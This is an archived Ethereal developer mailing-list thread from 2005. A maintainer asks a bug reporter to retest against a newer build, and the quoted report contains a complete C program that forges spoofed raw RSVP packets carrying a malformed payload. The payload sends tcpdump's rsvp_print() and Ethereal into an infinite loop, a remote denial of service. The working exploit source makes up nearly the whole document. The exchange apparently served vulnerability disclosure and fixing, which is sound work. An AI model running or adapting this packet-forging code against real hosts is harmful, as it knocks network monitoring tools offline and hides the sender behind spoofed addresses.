Ethereal-dev: Re: [Ethereal-dev] another infinite loop in tcpdump, RSVP this time (ethereal to

Note: This archive is from the project's previous web site, ethereal.com. This list is no longer active.

From: Gerald Combs <gerald@xxxxxxxxxxxx>
Date: Mon, 25 Apr 2005 08:52:02 -0500
Can you try this against one of the automated builds (>= revision 14168)
at http://www.ethereal.com/distribution/buildbot-builds/ ?



v9 wrote:
> sorry i didn't include this one in the original message...noticed it
> afterwords.
> 
> demonstrational code provided..
> 
> 
> ------------------------------------------------------------------------
> 
> /*[ tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. ]* 
>  *                                                                *
>  * by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo)               *
>  *                                                                *
>  * compile:                                                       *
>  *  gcc xtcpdump+ethr-rsvp-dos.c -o xtcpdump+ethr-rsvp-dos        *
>  *                                                                *
>  * tcpdump homepage/URL:                                          *
>  *  http://www.tcpdump.org                                        *
>  *                                                                *
>  * ethereal homepage/URL:                                         *
>  *  http://www.ethereal.com                                       *
>  *                                                                *
>  * effected versions:                                             *
>  *  tcpdump: v3.8.x/v3.9.1/CVS (didn't check below 3.8.x)         *
>  *  ethereal: v0.10.10 (didn't check others)                      *
>  *                                                                *
>  * tcpdump(v3.9.1 and earlier versions) contains a remote denial  *
>  * of service vulnerability in the form of a single (RSVP) packet *
>  * causing an infinite loop.                                      *
>  *                                                                *
>  * this bug also effects ethereal[v0.10.10] in a similar way, i   *
>  * did not check ethereals source code to find out why, tcpdump   *
>  * was the focus. (the packet usually must be clicked on, the     *
>  * ICMP replies given back will cause it too)                     *
>  *                                                                *
>  * as this bug doesn't appear to be fixed in the new(3.9.x/CVS)   *
>  * versions i'll elaborate on the problem.  the bug lies in       *
>  * rsvp_print() in the RSVP_OBJ_ERO(and RSVP_OBJ_RRO) class,      *
>  * allowing a zero length(+4 length really) situation, causing an *
>  * infinite loop.                                                 *
>  *                                                                *
>  * some versions of tcpdump(depending on the platform/OS) need no *
>  * special command-line arguments to allow this to happen,        *
>  * however most need the "-v" argument.                           *
>  ******************************************************************/
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
> #include <signal.h>
> #include <time.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <netinet/in.h>
> #include <netdb.h>
> #ifdef _USE_ARPA
> #include <arpa/inet.h>
> #endif
> 
> /* doesn't seem to be standardized, so... */
> #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
> #define BYTE_ORDER __BYTE_ORDER
> #endif
> #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
> #define BIG_ENDIAN __BIG_ENDIAN
> #endif
> #if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
> #if BYTE_ORDER == BIG_ENDIAN
> #define _USE_BIG_ENDIAN
> #endif
> #endif
> 
> #define DFL_AMOUNT 5
> 
> /* avoid platform-specific header madness. */
> /* (just plucked out of header files) */
> struct iph{
> #ifdef _USE_BIG_ENDIAN
>  unsigned char version:4,ihl:4;
> #else
>  unsigned char ihl:4,version:4;
> #endif
>  unsigned char tos;
>  unsigned short tot_len;
>  unsigned short id;
>  unsigned short frag_off;
>  unsigned char ttl;
>  unsigned char protocol;
>  unsigned short check;
>  unsigned int saddr;
>  unsigned int daddr;
> };
> struct rsvph{
>  unsigned char ver_flags;
>  unsigned char type;
>  unsigned short check;
>  unsigned char ttl;
>  unsigned char reserved;
>  unsigned short len;
> };
> struct sumh{
>   unsigned int saddr;
>   unsigned int daddr;
>   unsigned char fill;
>   unsigned char protocol;
>   unsigned short len;
> };
> 
> /* malformed RSVP data. (the bug) */
> static char payload[]=
>  "\x00\x08\x14\x01\x03\x00\x00\x00"
>  /* not needed for tcpdump, but this breaks ethereal. */
>  "\x00\x00\x00\x00";
> 
> /* prototypes. (and sig_alarm) */
> void rsvp_spoof(unsigned int,unsigned int);
> unsigned short in_cksum(unsigned short *,signed int);
> unsigned int getip(char *);
> void printe(char *,signed char);
> void sig_alarm(){printe("alarm/timeout hit.",1);}
> 
> /* begin. */
> int main(int argc,char **argv) {
>  unsigned char nospoof=0;
>  unsigned int amt=DFL_AMOUNT;
>  unsigned int daddr=0,saddr=0;
>  printf("[*] tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop "
>  "DOS.\n[*] by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo)\n\n");
>  if(argc<2){
>   printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
>   argv[0]);
>   exit(1);
>  }
>  if(!(daddr=getip(argv[1])))
>   printe("invalid destination host/ip.",1);
>  if(argc>2)saddr=getip(argv[2]);
>  if(argc>3)amt=atoi(argv[3]);
>  if(!amt)printe("no packets?",1);
>  printf("[*] destination\t: %s\n",argv[1]);
>  if(!nospoof)
>   printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
>  printf("[*] amount\t: %u\n\n",amt);
>  printf("[+] sending(packet = .): ");
>  fflush(stdout);
>  while(amt--){
>   /* spice things up. */
>   srandom(time(0)+amt);
>   rsvp_spoof(daddr,saddr);
>   printf(".");
>   fflush(stdout);
>   usleep(50000);
>  }
>  printf("\n\n[*] done.\n");
>  fflush(stdout);
>  exit(0);
> }
> /* (spoofed) generates and sends a (RSVP) ip packet. */
> void rsvp_spoof(unsigned int daddr,unsigned int saddr){
>  signed int sock=0,on=1;
>  unsigned int psize=0;
>  char *p,*s;
>  struct sockaddr_in sa;
>  struct iph ip;
>  struct rsvph rsvp;
>  struct sumh sum;
>  /* create raw (rsvp) socket. */
>  if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RSVP))<0)
>   printe("could not allocate raw socket.",1);
>  /* allow (on some systems) for the user-supplied ip header. */
> #ifdef IP_HDRINCL
>  if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
>   printe("could not set IP_HDRINCL socket option.",1);
> #endif
>  sa.sin_family=AF_INET;
>  sa.sin_addr.s_addr=daddr;
>  psize=(sizeof(struct iph)+sizeof(struct rsvph)+sizeof(payload)-1);
>  memset(&ip,0,sizeof(struct iph));
>  memset(&rsvp,0,sizeof(struct rsvph));
>  /* values not filled = 0, from the memset() above. */
>  ip.ihl=5;
>  ip.version=4;
>  ip.tot_len=htons(psize);
>  ip.saddr=(saddr?saddr:random()%0xffffffff);
>  ip.daddr=daddr;
>  ip.ttl=(64*(random()%2+1));
>  ip.protocol=IPPROTO_RSVP;
>  ip.frag_off=64;
>  rsvp.ver_flags=16; /* v1/noflags. */
>  rsvp.type=20; /* HELLO. */
>  rsvp.ttl=(64*(random()%2+1));
>  rsvp.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
>  /* needed for the ip checksum. */
>  sum.saddr=ip.saddr;
>  sum.daddr=ip.daddr;
>  sum.fill=0;
>  sum.protocol=ip.protocol;
>  sum.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
>  /* make sum/calc buffer for the rsvp checksum. (correct) */
>  if(!(s=(char *)malloc(sizeof(struct rsvph)+sizeof(payload)+1)))
>   printe("malloc() failed.",1);
>  memset(s,0,(sizeof(struct rsvph)+sizeof(payload)+1));
>  memcpy(s,&rsvp,sizeof(struct rsvph));
>  memcpy(s+sizeof(struct rsvph),payload,sizeof(payload)-1);
>  rsvp.check=in_cksum((unsigned short *)s,sizeof(struct rsvph)
>  +sizeof(payload)-1);
>  free(s);
>  /* make sum/calc buffer for the ip checksum. (correct) */
>  if(!(s=(char *)malloc(sizeof(struct iph)+1)))
>   printe("malloc() failed.",1);
>  memset(s,0,(sizeof(struct iph)+1));
>  memcpy(s,&ip,sizeof(struct iph));
>  ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
>  free(s);
>  /* put the packet together. */
>  if(!(p=(char *)malloc(psize+1)))
>   printe("malloc() failed.",1);
>  memset(p,0,psize);
>  memcpy(p,&ip,sizeof(struct iph));
>  memcpy(p+sizeof(struct iph),&rsvp,sizeof(struct rsvph));
>  memcpy(p+(sizeof(struct iph)+sizeof(struct rsvph)),
>  payload,sizeof(payload));
>  /* send the malformed (RSVP) packet. */
>  if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
>  sizeof(struct sockaddr))<psize)
>   printe("failed to send forged RSVP packet.",1);
>  free(p);
>  return;
> }
> /* standard method for creating TCP/IP checksums. */
> unsigned short in_cksum(unsigned short *addr,signed int len){
>  unsigned short answer=0;
>  register unsigned short *w=addr;
>  register int nleft=len,sum=0;
>  while(nleft>1){
>   sum+=*w++;
>   nleft-=2;
>  }
>  if(nleft==1){
>   *(unsigned char *)(&answer)=*(unsigned char *)w;
>   sum+=answer;
>  }
>  sum=(sum>>16)+(sum&0xffff);
>  sum+=(sum>>16);
>  answer=~sum;
>  return(answer);
> }
> /* gets the ip from a host/ip/numeric. */
> unsigned int getip(char *host){
>  struct hostent *t;
>  unsigned int s=0;
>  if((s=inet_addr(host))){
>   if((t=gethostbyname(host)))
>    memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
>  }
>  if(s==-1)s=0;
>  return(s);
> }
> /* all-purpose error/exit function. */
> void printe(char *err,signed char e){
>  printf("[!] %s\n",err);
>  if(e)exit(e);
>  return;
> }
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> Ethereal-dev mailing list
> Ethereal-dev@xxxxxxxxxxxx
> http://www.ethereal.com/mailman/listinfo/ethereal-dev